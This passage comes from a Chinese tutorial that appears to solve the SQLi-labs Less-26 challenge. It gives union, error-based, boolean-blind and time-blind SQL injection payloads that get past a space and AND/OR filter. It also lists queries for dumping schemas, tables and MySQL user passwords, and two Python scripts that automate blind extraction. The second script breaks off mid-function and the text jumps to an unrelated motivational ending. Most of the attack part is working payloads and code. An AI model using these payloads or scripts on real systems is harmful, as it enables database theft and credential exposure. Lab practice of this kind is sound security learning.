?id=0'union%a0select%a01,
(database())
,3'
其余脱库操作时,将下图圈中的位置替换为SQL语句即可:
常用的脱库语句:
# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata
# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"
# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"
# 获取数据库管理员用户密码
select%a0group_concat(user,passwoorrd)
from%a0mysql.user%a0where%a0user = "mituan"
方式二:报错注入
报错注入详细使用方法可以参考我的另一篇文章:
第一步、判断注入点
地址栏输入:?id=1’
由报错信息可以确定,注入点为单引号字符型注入。
第二步、判断报错函数是否可用
地址栏输入:?id=1’anandd%a0updatexml(1,0x7e,3)anandd’
页面显示报错函数的内容,确定报错函数可用。
第三步、脱库
以获取当前使用的数据库为例,地址栏输入:
?id=1'anandd%a0updatexml(1,
concat(0x7e,
substr(
(database())
,1,32)
)
,3)anandd'
其余脱库操作时,将下图圈中的部分替换成SQL语句即可:
方式三:布尔盲注
布尔盲注的详细使用方法可以参考我的另一篇文章:
第一步、判断注入点
地址栏输入:?id=1’anandd’1,页面正常显示;
地址栏输入:?id=1’anandd’0,页面异常(空)显示。
第二步、判断长度
以当前使用的数据库为例,判断库名长度是否大于1,地址栏输入:
?id=1'anandd%a0
length(
(database())
)>1
%a0anandd'1
长度肯定大于1,所以页面正常显示,确定payload可用;
从1开始依次递增判断长度,稍后使用脚本测试。
第三步、枚举字符
截取库名的第一个字符,转换为ASCLL码,判断ASCLL码是否大于1,地址栏输入:
?id=1'anandd%a0
ascii(
substr(
(database())
,1,1)
)>1
%a0anandd'1
字符的ASCLL码肯定大于1,所以页面正常显示,确定payload可用;
依次判断字符的ASCLL码是否等于32~162;
判断完第一个字符后,再依次判断其余字符,为了提高效率,稍后使用脚本猜解。
脱库
Python自动化猜解脚本如下,可按需修改:
import requests
# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload
# 目标网址(不带参数)
url = "http://03b4acd5ef174f1cb83ca0fba018e9b7.app.mituan.zone/Less-26/"
# 猜解长度使用的payload
payload_len = """?id=1'anandd%a0
length(
(database())
)={n}
%a0anandd'1"""
# 枚举字符使用的payload
payload_str = """?id=1'anandd%a0
ascii(
substr(
(database())
,{l},1)
)={n}
%a0anandd'1"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'Your Login name' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(l= l, n= n))
# print('我正在猜解', n)
# 页面中出现此内容则表示成功
if 'Your Login name' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
执行结果是下面这样:
其余脱库操作时,将下图圈中的位置替换为SQL语句即可:
方式一的末尾处,提供了常用的脱库语句。
方式四:时间盲注
时间盲注的详细使用方法可以参考我的另一篇文章:
第一步、判断注入点
地址栏输入:?id=1’anandd’1,页面正常显示;
地址栏输入:?id=1’anandd’0,页面异常(空)显示。
第二步、判断长度
以当前使用的数据库为例,如果库名的长度大于1,则延时5秒,地址栏输入:
?id=1'anandd%a0
if(
(length(
(database())
)>1)
,sleep(5),3)
anandd'1
库名的长度肯定大于1,所以页面延时5秒响应,确定payload可用;
从1开始依次递增测试长度,稍后使用脚本判断。
第三步、枚举字符
以当前使用的数据库为例,截取第一个字符,转换为ASCLL码,判断是否大于1,地址栏输入:
?id=1'anandd%a0
if(
(ascii(
substr(
(database())
,1,1)
)>1)
,sleep(5),3)
anandd'1
字符的ASCLL码肯定大于1,所以页面延时5秒响应,确定payload可用;
依次判断ASCLL码是否等于(32~126);
确定第一个字符的内容后,再依次猜解其余字符,为了提高效率,稍后使用脚本猜解。
脱库
Python自动化猜解脚本如下,可按需修改:
import requests
import time
# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload
# 目标网址(不带参数)
url = "http://03b4acd5ef174f1cb83ca0fba018e9b7.app.mituan.zone/Less-26/"
# 猜解长度使用的payload
payload_len = """?id=1'anandd%a0
if(
(length(
(database())
)={n})
,sleep(5),3)
anandd'1"""
# 枚举字符使用的payload
payload_str = """?id=1'anandd%a0
if(
(ascii(
substr(
(database())
,{n},1)
)={r})
,sleep(5),3)
anandd'1"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
## 写在最后
**在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**
需要完整版PDF学习资源私我